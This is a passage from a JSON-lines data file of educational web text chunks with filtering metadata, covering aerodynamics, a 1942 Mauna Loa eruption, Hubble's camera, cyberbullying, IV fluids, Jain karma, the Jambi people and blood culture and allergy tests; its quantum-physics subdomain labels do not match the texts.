up to a point when the boundary layer separates from the aircraft and the airfoil stalls. go to http : / / www. grc. nasa. gov / www / k - 12 / airplane / factord. html briefely state the effect of angle of attack on induced drag. when you increase the angle of attack, what happens to induced drag. like lift, drag actually varies with the square of the relative velocity between the object and the air. the inclination of the object to the flow also affects the amount of drag generated by a given shaped object. go to http : / / www. grc. nasa. gov / www / k - 12 / / airplane / atmosi. html and use the simulator to determine the effect of altitude and combined factors on lift. when you increase the altitude, what happens to lift. as we increase altitude, the air becomes less dense and the lift decreases for a given airspeed and angle of attack. landing gear lowered and flaps deployed to augment lift. the aircraft reaches mach 1, shock induced drag adds to sum total of drag, and the minimum keas is increased. the pilot must reduce power to slow the aircraft to a speed allowing the bank of up to 35\u00b0.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4780393011794152, "token_count": 407, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.976287"} {"text": "april 23, 1998 a weekly feature provided by scientists at the hawaiian volcano observatory. shhh! don ' t tell there is an eruption - eruption of 1942 the eruption of 1942 was noteworthy for several reasons. ( 1 ) it was declared a secret so the press was not allowed to publicize the event. ( 2 ) this was the second time lava diversion was tried on an eruption of mauna loa. ( 3 ) the volcanologists were able to predict the timing and place of the eruption. world war ii was four months old when the eruption began. hawai ` i was observing war - time restrictions that imposed a night - time blackout. pele was having none of this, and the eruptions began on april 26, 1942, at 5 : 05 p. m. government officials felt that advertising the eruption would permit the japanese military to use the bright glow as a means to guide their warplanes under cover of darkness to wreak havoc upon hawai ` i. the eruption, heralded by three months of elevated seismic activity, started when fissures opened along the western rim of moku ` aweoweo, and lava cascaded into the caldera. by early morning april 27, the summit activity began to wane. eventually, seismic activity migrated toward the northeast rift zone. new fissures then opened at the junction between the summit caldera and northeast rift on april 27. here the dike stopped advancing at the 3, 658 - m ( 12, 000 ft ) level. a line of spatter ramparts issued an ` a ` a flow that traveled in a north - northeasterly direction 7 km ( 4 mi ) away from the rift. all this activity had ended by the early morning of april 28. however on april 28, activity jumped far down the northeast rift zone. this new vent system opened at 4 : 40 a. m., creating a 1 - km - long ( 0. 6 mi ) fissure at an elevation of 2, 850 m ( 9, 350 ft ), 14. 5 km ( 9 mi ) from mauna loa ' s summit. lava fountains propelled 70 to 90 meters ( 230 to 295 ft ) high, producing small flows. meanwhile the summit activity continued to fade as the flank activity expanded. eventually, the summit activity ceased altogether. by 3 p. m., the 1 - km - long ( 0. 6 mi ) fissure lengthened an additional 0. 5 km ( 0. 3 mi ). fountains then were visible only from the distal ends of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43708816462942857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.983008"} {"text": "activity ceased altogether. by 3 p. m., the 1 - km - long ( 0. 6 mi ) fissure lengthened an additional 0. 5 km ( 0. 3 mi ). fountains then were visible only from the distal ends of the fissure system ; the central vents were drowned by lava moving in from the margins. at 8 p. m., the eruption appeared to have begun in earnest as lava fountains reached heights of 150 m ( 500 ft ). the fountains fed a rapidly moving ` a ` a lava flow headed in the general direction of waiakea uka. gradually, eruptive activity condensed to a few spatter ramparts at the center of this fissure system. these vents were responsible for the bulk of the lava production. a few hours later, the dike propagated another 4. 6 km ( 2. 9 mi ) northeast. here the dike changed orientation from northeast to north. lava issuing from these lower elevation vents appeared to be gas - poor and more dense in character. the character of the lava caused scientists to speculate that these \" new vents \" were really sites where upslope lava entered an old tube or fracture system, only to reemerge at this lower elevation. on may 1, the flow front was moving at 100 to 150 m ( 328 to 492 ft ) per hour in the direction of waiakea uka. the advancing flow threatened the ` ola ` a flume, mountain view ' s water source, and would ultimately endanger the circum - island road. it was at this time that the decision was made to utilize aerial bombing to influence the course of the lava flows. aerial bombing was selected as the most efficient means of emplacing explosives at the optimal sites. the points of contact were lava tubes and channels that fed the flow front. the army air force conducted the bombing missions and selected the sites. in all, 16 bombs weighing between 300 to 600 pounds each were dropped. though most appeared to hit their mark, the bombs had little or no impact on the eruption or on the flow ' s direction. on may 4, mauka activity became more restricted to a single, large cone edifice with vents producing lava at its center. the cone grew to a height of 30 meters ( 100 ft ) and lava fountains stretched to heights of 200 m ( 650 ft ). later in the day, lava flows accomplished what bombs could not. these lava flows caused the central cone to collapse, resulting in the creation of secondary flows.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4380981509697173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.985803"} {"text": "meters ( 100 ft ) and lava fountains stretched to heights of 200 m ( 650 ft ). later in the day, lava flows accomplished what bombs could not. these lava flows caused the central cone to collapse, resulting in the creation of secondary flows. these secondary flows diverted the lava from the flow front, slowing its advance, and resulted in the stagnation of the main flow on may 7. when the eruption ended on may 9, the lava flow extended 26 km from the main vents at 2, 850 m ( 9, 350 ft ) and came within 11 km ( 6. 8 mi ) of upper waiakea uka. eruption and earthquake update activity within pu ` u ` o ` o increased during the past week, and lava covered the floor of the crater. the light from the lava cast a bright glow onto the fume clouds. lava continued to flow through a network of tubes down to the seacoast, where it entered the ocean at two locations - waha ` ula and kamokuna. the public is reminded that the ocean entry areas are extremely hazardous, with explosions accompanying frequent collapses of the lava delta. the steam cloud is highly acidic and laced with glass particles. there were no earthquakes reported felt during the past week. the url of this page is http : / / hvo. wr. usgs. gov / volcanowatch / current _ issue. html updated : 27 april 1998", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4449576034470699, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.986890"} {"text": "advanced camera for surveys one of the hubble space telescope ' s advanced instruments is referred to as the acs. hubble ' s newest science instrument - the advanced camera for surveys - brought the telescope into the 21st century. with its wider field of view, sharper image quality, and enhanced sensitivity, the new camera doubles hubble ' s field of view and expands its capabilities significantly. upgrading the telescope with acs ' s cutting - edge technology made it ten times more effective and prolonged its useful life. acs is actually a team of three different cameras : the wide field camera, the high - resolution camera, and the solar blind camera. it outperforms all previous instruments flown aboard the hubble space telescope, primarily because of its expanded wavelength range. designed to study some of the earliest activity in the universe, acs sees in wavelengths ranging from far ultraviolet to infrared. acs maps the distribution of dark matter, detects the most distant objects in the universe, searches for massive planets, and studies the evolution of clusters of galaxies. to accommodate these science goals, each of acs ' s three cameras was designed to perform a specific function. with a field of view twice that of wfpc2, acs ' s wide field camera conducts broad surveys of the universe. astronomers use it to study the nature and distribution of galaxies, which reveal clues about how our universe evolved. the high - resolution camera takes extremely detailed pictures of the inner regions of galaxies. it searches neighboring stars for planets and planets - to be, and takes close - up images of the planets in our own solar system. the solar blind camera, which blocks visible light to enhance ultraviolet sensitivity, focuses on hot stars radiating in ultraviolet wavelengths. acs was installed during servicing mission 3b in march 2002. the new instrument was built between 1996 and 1999 by scientists and engineers at the johns hopkins university, ball aerospace, the space telescope science institute, and nasa ' s goddard space flight center. ( text adapted from nasa description. )", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5073891683908507, "token_count": 404, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.989333"} {"text": "most cyberbullying happens outside school hours. parents can feel helpless with nowhere to turn. students can feel scared \u2013 if they tell parents or teachers they might be more exposed. or worse still they will be taken off line. mobile phones and facebook are their connections to their world. we used to watch tv shows so that we had something to talk about the next day at school ; countdown, neighbours, the footy, children nowadays talk about conversations that happened on msn or pictures someone uploaded, or who said what to whom on facebook. sometimes as strange as it might sound children prefer to endure the bullying than risk being cut off from their peers. so often nothing is done and the bully is free to continue or attack someone else. we suggest the following : - never threaten to cut off their connection. - read the school policy on cyberbullying and discuss it with your child. this helps children understand that it is unacceptable and that they do not have to put up with it. - establish how long it has been happening, how often, and how much it is effecting your child. see what are the signs? - save all conversations, pages, images that can be used in evidence. - call the school, and discuss it with your child \u2019 s level manager or head of house. send or email in the page. what can the school do? if the abuse occurs outside of school hours and off the school network the school will speak to the children involved in the abuse and make contact with the parents of those children involved. evidence such as print outs or emails of the abuse or offensive comment or image is helpful to the discussion. the school will protect your child by attributing the finding of the material to an anonymous child or parent. in our experience, this is often this is enough to stop the activity immediately. the school may also suggest strategies such as, \u2018 blocking \u2019 or \u2018 deleting \u2019 the offender, changing their password, resetting their privacy settings, changing their mobile phone number and so on. if the abuse occurs at school and / or on the school network the school will disable the child \u2019 s account and an appropriate disciplinary consequence will be applied. parents of the child will be informed and the child counselled on the expectati0ns of the school \u2019 s internet use policy. if it were to continue the school may encourage you to make contact with the police. staff to contact : at buckley house head of campus : mr russell feben at plenty campus deputy head of campus / head of secondary", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48051299827553756, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.995158"} {"text": "book discussion guide questions to take to your class or book group - choose a topic on which two of you disagree. one of you should try to win the argument by agreeing with every one of his opponent \u2019 s points \u2014 twisting them slightly or adding to them. did it work? - talk about your own relationships. what are the worst fights you had? how could you have turned them into productive arguments? what tense did you use in your fights \u2014 past, present, or future? - invent new words using the anthimeria. change a noun to an adjective ( \u201c she was a wonderful greeter ; very doorsome \u201d ), an adjective to a noun ( \u201c i call a difficult chore a hard \u201d ), a noun to a verb ( \u201c all he does is barcalounge \u201d ), and so on. you \u2019 re shakespearicating! - the three basic issues \u2014 blame, values, and choice, are critical to the success or failure of an argument. experiment : take two tempting food items. one of you should try to persuade another to choose item a over item b, speaking in forensic rhetoric \u2014 accusing someone of something. ( if this seems absurd, consider how members of congress debate national decisions. ) now pick two more people for your food debate. this time, speak only in demonstrative rhetoric. talk about values, good and bad, right and wrong, and speak only in the present tense. finally, repeat the same experiment using deliberative rhetoric. speak in terms of what \u2019 s to the other person \u2019 s advantage, and use only the future tense. what did you learn from this exercise? - choose a topic that entails a decision \u2014 a personal choice, a national policy, whatever. start the argument with one person attacking the other \u2019 s character. in reply, the victim should begin, \u201c so \u2026 \u201d and repeat what the attacker said. now add : \u201c but how is this going to \u2026 \u201d and talk about the future decision. have you had someone attack you personally during a similar argument? would the \u201c so \u2026 \u201d strategy work? - have you ever been caught doing something you weren \u2019 t supposed to be doing? re - enact that scene, but this time use the stance strategy : if the facts don \u2019 t favor you ( and they certainly don \u2019 t! ), redefine the terms ( \u201c it \u2019 s not stealing, it \u2019 s borrowing \u201d ). if redefining won \u2019 t work, argue why it \u2019 s not such", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48658780187527906, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.009317"} {"text": "in 1861, thomas graham \u2019 s investigations on diffusion led him to classify substances as crystalloids or colloids based on their ability to diffuse through a parchment membrane. crystalloids passed readily through the membrane, whereas colloids ( from the greek word for glue ) did not. intravenous fluids are similarly classified based on their ability to pass through barriers separating body fluid compartments, particularly the one between intravascular and extravascular ( interstitial ) fluid compartments. this chapter describes the salient features of crystalloid and colloid fluids, both individually and as a group. this is a must - know topic in the care of hospitalized patients, and several reviews are included at the end of the chapter to supplement the text. the principal component of crystalloid fluids is the inorganic salt sodium chloride ( nacl ). sodium is the most abundant solute in the extracellular fluids, and it is distributed uniformly throughout the extracellular space. because 75 to 80 % of the extracellular fluids are located in the extravascular ( interstitial ) space, a similar proportion of the total body sodium is in the interstitial fluids. exogenously administered sodium follows the same distribution, so 75 to 80 % of the volume of sodium - based intravenous fluids are distributed in the interstitial space. this means that the predominant effect of volume resuscitation with crystalloid fluids is to expand the interstitial volume rather than the plasma volume. as indicated by the horizontal bar that is second from the top, infusion of 1 l of 0. 9 % sodium chloride ( isotonic saline ) adds 275 ml to the plasma volume and 825 ml to the interstitial volume. note that the total volume expansion ( 1100 ml ) is slightly greater than the infused volume. this is the result of a fluid shift from the intracellular to extracellular space, which occurs because isotonic saline is actually hypertonic to the extracellular fluids. the prototype crystalloid fluid is 0. 9 % sodium chloride ( nacl ), also called isotonic saline or normal saline. the latter term is inappropriate because a one normal ( 1 n ) nacl solution contains 58 g nacl per liter ( the combined molecular weights of sodium and chloride ), whereas isotonic ( 0. 9 % ) nacl contains only 9 g nacl per liter. the ph of isotonic saline is also considerably lower than the plasma ph. these differences are rarely of any clinical significance. the chloride content of isotonic saline is particularly high relative to plasma", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5362426231123906, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.049523"} {"text": "% ) nacl contains only 9 g nacl per liter. the ph of isotonic saline is also considerably lower than the plasma ph. these differences are rarely of any clinical significance. the chloride content of isotonic saline is particularly high relative to plasma ( 154 meq / l versus 103 meq / l, respectively ), so hyperchloremic metabolic acidosis is a potential risk with large - volume isotonic saline resuscitation. hyperchloremia has been reported, but acidosis is rare. ringer \u2019 s solution was introduced in 1880 by sydney ringer, a british physician and research investigator who studied mechanisms of cardiac contraction. the solution was designed to promote the contraction of isolated frog hearts, and contained calcium and potassium in a sodium chloride diluent. in the 1930s, an american pediatrician named alexis hartmann proposed the addition of sodium lactate buffer to ringer \u2019 s solution for the treatment of metabolic acidoses. the lactated ringer \u2019 s solution, also known as hartmann \u2019 s solution, gradually gained in popularity and eventually replaced the standard ringer \u2019 s solution for routine intravenous therapy. lactated ringer \u2019 s solution contains potassium and calcium in concentrations that approximate the free ( ionic ) concentrations in plasma. the addition of these cations requires a reduction in sodium concentration for electrical neutrality, so lactated ringer \u2019 s solution has less sodium than isotonic saline. the addition of lactate ( 28 meq / l ) similarly requires a reduction in chloride concentration, and the chloride in lactated ringer \u2019 s more closely approximates plasma chloride levels than does isotonic saline. despite the differences in composition, there is no evidence that lactated ringer \u2019 s provides any benefit over isotonic saline. furthermore, there is no evidence that the lactate in ringer \u2019 s solution provides any buffer effect. the calcium in lactated ringer \u2019 s can bind to certain drugs and reduce their bioavailability and efficacy. of particular note is calcium binding to the citrated anticoagulant in blood products. this can inactivate the anticoagulant and promote the formation of clots in donor blood. for this reason, lactated ringer \u2019 s solution is contraindicated as a diluent for blood transfusions. normosol or plasma - lyte the major feature of these solutions is the added buffer capacity, which gives them a ph that is equivalent to that of plasma. an additional feature is the addition of magnesium, which may provide", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.46605873876005677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.050691"} {"text": "blood transfusions. normosol or plasma - lyte the major feature of these solutions is the added buffer capacity, which gives them a ph that is equivalent to that of plasma. an additional feature is the addition of magnesium, which may provide some benefit in light of the high incidence of magnesium depletion in hospitalized patients. magnesium administration can promote hypermagnesemia in renal insufficiency and can counteract compensatory vasoconstriction and promote hypotension in low flow states. dextrose is a common additive in intravenous solutions, for reasons that are unclear. a 5 % dextrose - in - water solution is not an effective volume expander. the use of 5 % dextrose solutions was originally intended to supply nonprotein calories and thus provide a protein - sparing effect. however, total enteral and parenteral nutrition is now the standard of care for providing daily energy requirements, and the use of 5 % dextrose solutions to provide calories is obsolete. a 5 % dextrose solution ( 50 g dextrose per liter ) provides 170 kcal per liter ( 3. 4 kcal / g dextrose ). the addition of dextrose to intravenous fluids increases osmolarity ( 50 g of dextrose adds 278 mosm to an intravenous fluid ) and creates a hypertonic infusion when 5 % dextrose is added to lactated ringer \u2019 s solution ( 525 mosm / l ) or isotonic saline ( 560 mosm / l ). if glucose use is impaired ( as is common in critically ill patients ), the infused glucose accumulates and creates an undesirable osmotic force that can promote cell dehydration. other undesirable effects of glucose infusions in critically ill patients include enhanced co2 production ( which can be a burden in ventilator - dependent patients ), enhanced lactate production, and aggravation of ischemic brain injury. the proportion of a glucose load that contributes to lactate formation can increase from 5 % in healthy subjects to 85 % in critically ill patients. this can produce an increase in circulating lactate levels, even when infusing 5 % dextrose solutions. patients undergoing abdominal aortic aneurysm surgery were given either a ringer \u2019 s solution or a 5 % dextrose solution intraoperatively to maintain normal cardiac filling pressures. as shown, the 5 % dex", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5035907479351223, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.051786"} {"text": "hg and a plasma volume expansion that is 4 to 5 times the infused volume. albumin is a transport protein that is responsible for 75 % of the oncotic pressure of plasma. heat - treated preparations of human serum albumin are commercially available in a 5 % solution ( 50 g / l ) and a 25 % solution ( 250 g / l ) in an isotonic saline diluent. the 25 % solution is given in small volumes ( 50 to 100 ml ) and because the accompanying sodium load is small, 25 % albumin is also called salt - poor albumin. a 5 % albumin solution ( 50 g / l or 5 g / dl ) has a cop of 20 mm hg and thus is similar in oncotic activity to plasma. approximately half of the infused volume of 5 % albumin stays in the vascular space. the oncotic effects of albumin last 12 to 18 hours. the 25 % albumin solution has a cop of 70 mm hg and expands the plasma volume by 4 to 5 times the volume infused. thus, infusion of 100 ml of 25 % albumin can increase the plasma volume 400 to 500 ml. this plasma volume expansion occurs at the expense of the interstitial fluid volume, so 25 % albumin should not be used for volume resuscitation in hypovolemia. it is intended for shifting fluid from the interstitial space to the vascular space in hypoproteinemic conditions, although the wisdom of this application is questionable. because albumin preparations are heat - treated, there is no risk of viral transmission ( including human immunodeficiency virus ). allergic reactions are rare, and although coagulopathies can occur, most are dilutional and not accompanied by bleeding. hetastarch is a synthetic colloid available as a 6 % solution in isotonic saline. it contains amylopectin molecules that vary in size from a few hundred to over a million daltons. the average molecular weight of the starch molecules is equivalent to that of albumin, and the colloid effects are equivalent to those of 5 % albumin. the main advantage of hetastarch over albumin is its lower cost. hetastarch is slightly more potent than 5 % albumin as a colloid. it has a higher cop than 5 % albumin ( 30 versus 20 mm hg, respectively ) and causes a greater plasma volume expansion ( up to 30 % greater than the infused volume ). it also", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5161633239011365, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.056310"} {"text": "5 % albumin as a colloid. it has a higher cop than 5 % albumin ( 30 versus 20 mm hg, respectively ) and causes a greater plasma volume expansion ( up to 30 % greater than the infused volume ). it also has a long elimination half - life ( 17 days ), but this is misleading because the oncotic effects of hetastarch disappear within 24 hours. hetastarch molecules are constantly cleaved by amylase enzymes in the bloodstream before their clearance by the kidneys. serum amylase levels are often elevated ( 2 to 3 times above normal levels ) for the first few days after hetastarch infusion, and return to normal at 5 to 7 days after fluid therapy. this hyperamylasemia should not be mistaken for early pancreatitis. serum lipase levels remain normal, which is an important distinguishing feature. anaphylactic reactions to hetastarch are decidedly rare ( incidence as low as 0. 0004 % ). laboratory test coagulopathy ( prolonged partial thromboplastin time from an interaction with factor viii ) can occur, but is not accompanied by bleeding. coagulopathy claims have dogged hetastarch for years, without evidence of hetastarch - induced bleeding. pentastarch is a low - molecular - weight - derivative of hetastarch that is available as a 10 % solution in isotonic saline. although it is not currently approved for clinical use in the united states, there is considerable evidence indicating that pentastarch is an effective and safe plasma volume expander. pentastarch contains smaller but more numerous starch molecules than hetastarch, and thus has a higher colloid osmotic pressure. it is more effective as a volume expander than hetastarch, and can increase plasma volume by 1. 5 times the infusion volume. the oncotic effects dissipate after 12 hours. pentastarch shows less of a tendency to interact with coagulation proteins than hetastarch, but the significance of this tendency is unclear. the dextrans are glucose polymers produced by a bacterium ( leuconostoc ) incubated in a sucrose medium. first introduced in the 1940s, these colloids are not popular ( at least in the united states ) because of the perceived risk of adverse reactions. the two most common dextran preparations are 10 % dextran - 40 and 6 % dextran", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47924178875509776, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.058456"} {"text": "in the 1940s, these colloids are not popular ( at least in the united states ) because of the perceived risk of adverse reactions. the two most common dextran preparations are 10 % dextran - 40 and 6 % dextran - 70, both diluted in isotonic saline. both dextran preparations are hyperoncotic to plasma ( cop = 40 mm hg ). dextran - 40 causes a larger increase in plasma volume than dextran - 70, but the effects last only a few hours. dextran - 70 is the preferred preparation because of its prolonged action. dextrans produce a dose - related bleeding tendency by inhibiting platelet aggregation, reducing activation of factor viii, and promoting fibrinolysis. the hemostatic defects are minimized by limiting the daily dextran dose to 20 ml / kg. anaphylactic reactions were originally reported in as many as 5 % of patients receiving dextran infusions. however, this has improved considerably in the last 20 years because of improvements in antigen detection and desensitization and improvements in preparation purity. the current incidence of anaphylaxis is 0. 032 %. dextrans coat the surface of red blood cells and can interfere with the ability to cross - match blood. red cell preparations must be washed to eliminate this problem. dextrans also increase the erythrocyte sedimentation rate as a result of their interactions with red blood cells. finally, dextrans have been implicated as a cause of acute renal failure. the proposed mechanism is a hyperoncotic state with reduced filtration pressure. however, this mechanism is unproven, and renal failure occurs only rarely in association with dextran infusions. there is considerable disagreement about the most appropriate fluid for volume resuscitation in critically ill patients. the following is a brief description of the issues involved in the colloid - crystalloid debate. because crystalloid fluids fill primarily the interstitial space, these fluids are not useful for filling the vascular space. the early popularity of crystalloid fluid resuscitation in hypovolemia stems from two observations made about 40 years ago. the first is the response to mild hemorrhage, which involves a shift of fluid from the interstitial space to the vascular space. the second observation stems from studies in an animal model of hemorrhagic shock, where survival was much improved if a crystalloid fluid was given along with rein", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4944423770621139, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.063163"} {"text": "which involves a shift of fluid from the interstitial space to the vascular space. the second observation stems from studies in an animal model of hemorrhagic shock, where survival was much improved if a crystalloid fluid was given along with reinfusion of the shed blood volume. the combination of these two observations has been interpreted as indicating that the major consequence of hemorrhage is an interstitial fluid deficit, and that replacement of interstitial fluid with crystalloid fluids is important for survival. the interstitial fluid deficit is predominant only when blood loss is mild ( less than 15 % of the blood volume ), and in this situation, no volume resuscitation is necessary ( because the body is capable of fully compensating for the loss of blood volume ). when blood loss is more severe, the priority is to keep the vascular space filled and thereby support the cardiac output. because colloid fluids are about three times more potent than crystalloid fluids for increasing vascular volume and supporting the cardiac output, colloid fluids are more effective than crystalloid fluids for volume resuscitation in moderate to severe blood loss. crystalloid resuscitation can achieve the same endpoint as colloid resuscitation, but larger volumes of crystalloid fluid ( about three times the volume of colloid fluids ) must be used. this latter approach is less efficient, yet it is the one favored by crystalloid users. despite the superiority of colloid fluids for expanding plasma volume, colloid fluid resuscitation does not confer a higher survival rate in patients with hypovolemic shock. this lack of improved outcomes is a major rallying point for crystalloid users, but it does not negate the fact that colloid fluids are more effective for maintaining blood volume in patients who are actively bleeding. the biggest disadvantage of colloid resuscitation is the higher cost of colloid fluids. using equivalent volumes of 250 ml for colloid fluids and 1000 ml for crystalloid fluids, the cost of colloid resuscitation is three times as high ( if hetastarch is used ) to six times as high ( if albumin is used ) than volume resuscitation with isotonic saline. the risk of edema has been used to discredit each type of fluid. because crystalloid fluids distribute primarily in the interstitial space, edema is an expected feature of crystalloid fluid resuscitation. however, edema is also a risk with colloid fluid resuscit", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4915963443054573, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.064956"} {"text": "there are four kinds of karma bonds. these bonds describe the way in which the karma system operates. 1. numerical strength of bond ( pradesa bandh ). a soul has innumerable pradesa or space points. truly speaking the soul is indivisible but for the purpose of theoretical explanation it is assumed to have numerous space points. numerable, innumerable or infinite number of karma varganas may bond with each soul pradesa depending on the strength of action. if the strength of action is low, less number of karma bond with each pradesa and so on. the pradesa bond means the number of the karma vargana binding with each soul pradesa. the bonding is uniform over all the pradesas. why such a large number of karma varganas bond with each pradesa? this is because only infinite number of karma can obscure the ability of the soul. further, only the karma in the active mode discharge this function as described below. 2. nature of karma bond ( prakriti bandh ). there are various types of karma, their nature is identified by the particular property of the soul they obscure. there are eight main properties of the soul and so there are eight main types of karma. this is an important subject and is taken up separately below. 3. duration of bond ( stithi bandh ). a karma remains bound to the karma body for a given duration of time. the total duration consists of two parts passive and active duration. in the passive period called abadhakala the karma exercises no effect on the soul. in the active or experience period the karma manifests itself and the soul experiences the prescribed effect of the karma. for example when knowledge obscuring karma rise, the power of knowing of the soul is reduced. when the active period is over the karma sheds and leaves the karma body. the passive period is not fixed and varies between two limits, the minimum limit and the maximum limit. the passive period cannot be less than the minimum limit and cannot be more than the maximum limit. the minimum limit can be about one or a few hours depending on the type of karma and the maximum limit is of few thousand years. the duration of the passive period is fixed at the time of bondage of karma some where between the two limits depending on the strength of the passion, lesser the strength smaller is the duration. the termination of the passive period is known as karma vipak or the rise of karma. now the karma becomes", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5285838764706562, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.070296"} {"text": "introduction / history the jambi people also known as the jambi malay or melayu jambi, primarily live in central sumatra. they occupy the regencies of batanghari, bungo - tebo, sarolangun, muaro jambi, merangin and the capital city of jambi province. the jambi language is part of the malay language cluster. their culture has been heavily influenced by the minangkabau culture. most of the area inhabited by the jambi is a lowland basin of dense jungles, peat bogs, swamps and rivers. this area is drained by the mighty batang hari river and its many tributaries. the river system, which is 409 miles / 655 km long, is important both as a means of transportation and as a source of fish. the jambi are adept swimmers and fishermen. they use eight types of traditional fishing tackle, as well as the modern fishnet. they are great eaters of fish and complain that a meal is incomplete if lacking the distinctive fish flavor. what are their lives like? most jambi earn their livelihood from fishing. to catch fish they use both modern and traditional methods and equipment. they catch, sell and eat over eleven types of fish. other ways of making a living include farming and plantation work. the jambi are a very proud people due to their links with the ancient malay kingdom that flourished from the 7th century ad until the middle ages. sadly, this pride now threatens their economic development due to their unwillingness to accept modernization and reform. this can be seen when comparing their lives to those of transmigrants to the jambi area, who now enjoy a higher standard of living than the native jambi. transportation between neighboring communities is done more frequently by water than by land. the reason is that most jambi communities are located in forest areas with thick undergrowth and extensive swamps which make land travel difficult. many traditional ceremonies and special rituals are performed by the jambi. these are for events such as the birth of a child, giving a name to the child, cutting the child ' s hair for the first time, piercing a girl ' s ears at age two and circumcision for boys between the ages of six and ten years old. once a child is at the age of adulthood ( 15 years old for a female and 17 years old for a male ), there is a ritual of filing the teeth to make them even, as a rite of passage into adulthood. what are their beliefs? almost all of the jambi are", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.445569139621642, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.076156"} {"text": "a blood culture is a test to detect germs such as bacteria or fungi in the blood. one may be ordered when a child has symptoms of an infection \u2014 such as a high fever or chills \u2014 and the doctor suspects germs have spread into the blood. the culture can show what type of germ is causing the infection, which will determine how it is treated. to do the test, the doctor will take a blood sample and send it to a lab for testing. results are ready in a few days. if a child is severely ill, the doctor may start treatment before the results are complete, basing treatment on the most likely cause of the infection. this can be changed to be specific for the microbe found when the culture is completed and the antibiotic sensitivity of the bacteria or fungi has been determined. why do a blood culture? during some illnesses, certain infection - causing bacteria and fungi can invade the bloodstream and spread into other parts of the body, away from the original infection site. their presence in the blood usually means that a child has a serious infection. such infections usually cause a more rapid heart rate, high fever, and an increase in the white blood cell count. a blood culture can reveal a number of infections or problems, such as endocarditis, a severe and potentially life - threatening problem that occurs when bacteria in the bloodstream stick to the heart valves. a blood culture might also detect the organism causing other infections like osteomyelitis, a bone infection often caused by staphylococcus aureus, and cellulitis, a skin infection that involves areas of tissue just below the skin ' s surface. how is a blood culture done? the blood culture is done with a simple blood draw performed after the skin is cleansed with an alcohol pad and a special antibacterial solution. this careful skin sterilization is important because it prevents contamination of the blood that ' s being drawn. it kills bacteria that may be on the surface of the skin so that they don ' t appear in the blood culture and interfere with identification of the germ causing the infection. sometimes it seems like a lot of blood is drawn for the test, but it ' s important that enough be drawn for the culture to be accurate. this may be less than a teaspoon ( 5 milliliters ) in babies and 1 - 2 teaspoons ( 5 - 10 milliliters ) in older children, depending on their size. the amount of blood drawn is tiny compared with the amount", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4973209787417571, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.082676"} {"text": "one common skin test is a scratch test. for this test, a doctor or nurse will scratch the skin with a tiny bit of liquid extract of an allergen ( such as pollen or food ). allergists usually do skin tests on a person ' s forearm or back. the allergist then waits 15 minutes or so to see if reddish, raised spots ( called wheals ) form, indicating an allergy. if the doctor thinks someone might be allergic to more than one thing \u2014 or if it ' s not clear what ' s triggering a person ' s allergy \u2014 the allergist will probably skin test for several different allergens at the same time. when a skin test shows up as positive with a certain food, that only means a person mightbe allergic to that food. in these cases, doctors 